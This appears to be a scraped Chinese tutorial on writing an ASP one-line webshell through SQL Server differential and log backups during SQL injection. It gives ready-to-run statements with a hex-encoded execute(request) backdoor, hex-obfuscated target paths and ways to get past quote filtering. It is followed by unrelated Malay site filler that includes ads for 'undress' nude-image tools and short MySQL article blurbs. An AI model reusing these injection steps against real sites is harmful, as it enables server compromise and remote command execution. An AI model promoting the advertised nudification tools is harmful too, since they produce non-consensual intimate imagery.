复习一下sql server的差异备份
复习一下sql server的差异备份
MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!差异备份的流程大概这样:
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--
2.创建表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
3.进行差异备份
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:
如下是网上常见的差异备份代码,思路一样!
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT
0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
声明:方法不是我想的,我只是写工具,默认得到shell是
===============================================================
我发现上面代码,有时会无效,而直接用
backup database 库名 to disk = 'c:\ddd.bak'
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!
网上还有log增量备份的,我也把他记录一下
=====================================================
另一种log增量备份技术:
';alter database null set RECOVERY FULL--
';create table cmd (a image)--
';backup log null to disk = 'f:\cmd' with init--
';insert into cmd (a) values (0x3C2565786563757465287265717565737428226122292
9253EDA)--
';backup log null to disk = '备份路径'--
PS:0x3C2565786563757465287265717565737428226122292
9253EDA 是一句话小马16进制转来的
说到一句话马,还可以有这么几种写法:
a).
b).
c).%>d).
e).

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

Video Face Swap
Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas











Pengimbasan jadual penuh mungkin lebih cepat dalam MySQL daripada menggunakan indeks. Kes -kes tertentu termasuk: 1) jumlah data adalah kecil; 2) apabila pertanyaan mengembalikan sejumlah besar data; 3) Apabila lajur indeks tidak selektif; 4) Apabila pertanyaan kompleks. Dengan menganalisis rancangan pertanyaan, mengoptimumkan indeks, mengelakkan lebih banyak indeks dan tetap mengekalkan jadual, anda boleh membuat pilihan terbaik dalam aplikasi praktikal.

Ya, MySQL boleh dipasang pada Windows 7, dan walaupun Microsoft telah berhenti menyokong Windows 7, MySQL masih serasi dengannya. Walau bagaimanapun, perkara berikut harus diperhatikan semasa proses pemasangan: Muat turun pemasang MySQL untuk Windows. Pilih versi MySQL yang sesuai (komuniti atau perusahaan). Pilih direktori pemasangan yang sesuai dan set aksara semasa proses pemasangan. Tetapkan kata laluan pengguna root dan simpan dengan betul. Sambung ke pangkalan data untuk ujian. Perhatikan isu keserasian dan keselamatan pada Windows 7, dan disyorkan untuk menaik taraf ke sistem operasi yang disokong.

MySQL dan Mariadb boleh wujud bersama, tetapi perlu dikonfigurasikan dengan berhati -hati. Kuncinya adalah untuk memperuntukkan nombor port dan direktori data yang berbeza untuk setiap pangkalan data, dan menyesuaikan parameter seperti peruntukan memori dan saiz cache. Konfigurasi sambungan, konfigurasi aplikasi, dan perbezaan versi juga perlu dipertimbangkan dan perlu diuji dengan teliti dan dirancang untuk mengelakkan perangkap. Menjalankan dua pangkalan data secara serentak boleh menyebabkan masalah prestasi dalam situasi di mana sumber terhad.

MySQL adalah sistem pengurusan pangkalan data sumber terbuka. 1) Buat Pangkalan Data dan Jadual: Gunakan perintah Createdatabase dan Createtable. 2) Operasi Asas: Masukkan, Kemas kini, Padam dan Pilih. 3) Operasi lanjutan: Sertai, subquery dan pemprosesan transaksi. 4) Kemahiran Debugging: Semak sintaks, jenis data dan keizinan. 5) Cadangan Pengoptimuman: Gunakan indeks, elakkan pilih* dan gunakan transaksi.

Penyederhanaan Integrasi Data: AmazonRDSMYSQL dan Integrasi Data Integrasi Zero ETL Redshift adalah di tengah-tengah organisasi yang didorong oleh data. Proses tradisional ETL (ekstrak, menukar, beban) adalah kompleks dan memakan masa, terutamanya apabila mengintegrasikan pangkalan data (seperti Amazonrdsmysql) dengan gudang data (seperti redshift). Walau bagaimanapun, AWS menyediakan penyelesaian integrasi ETL sifar yang telah mengubah keadaan ini sepenuhnya, menyediakan penyelesaian yang mudah, hampir-sebenar untuk penghijrahan data dari RDSMYSQL ke redshift. Artikel ini akan menyelam ke integrasi RDSMYSQL Zero ETL dengan redshift, menjelaskan bagaimana ia berfungsi dan kelebihan yang dibawa kepada jurutera dan pemaju data.

Pengambilan Model Laraveleloquent: Mudah mendapatkan data pangkalan data Eloquentorm menyediakan cara ringkas dan mudah difahami untuk mengendalikan pangkalan data. Artikel ini akan memperkenalkan pelbagai teknik carian model fasih secara terperinci untuk membantu anda mendapatkan data dari pangkalan data dengan cekap. 1. Dapatkan semua rekod. Gunakan kaedah semua () untuk mendapatkan semua rekod dalam jadual pangkalan data: USEAPP \ MODELS \ POST; $ POSTS = POST :: SEMUA (); Ini akan mengembalikan koleksi. Anda boleh mengakses data menggunakan gelung foreach atau kaedah pengumpulan lain: foreach ($ postsas $ post) {echo $ post->

Dalam pangkalan data MySQL, hubungan antara pengguna dan pangkalan data ditakrifkan oleh kebenaran dan jadual. Pengguna mempunyai nama pengguna dan kata laluan untuk mengakses pangkalan data. Kebenaran diberikan melalui perintah geran, sementara jadual dibuat oleh perintah membuat jadual. Untuk mewujudkan hubungan antara pengguna dan pangkalan data, anda perlu membuat pangkalan data, membuat pengguna, dan kemudian memberikan kebenaran.

MySQL sesuai untuk pemula kerana mudah dipasang, kuat dan mudah untuk menguruskan data. 1. Pemasangan dan konfigurasi mudah, sesuai untuk pelbagai sistem operasi. 2. Menyokong operasi asas seperti membuat pangkalan data dan jadual, memasukkan, menanyakan, mengemas kini dan memadam data. 3. Menyediakan fungsi lanjutan seperti menyertai operasi dan subqueries. 4. Prestasi boleh ditingkatkan melalui pengindeksan, pengoptimuman pertanyaan dan pembahagian jadual. 5. Sokongan sokongan, pemulihan dan langkah keselamatan untuk memastikan keselamatan data dan konsistensi.
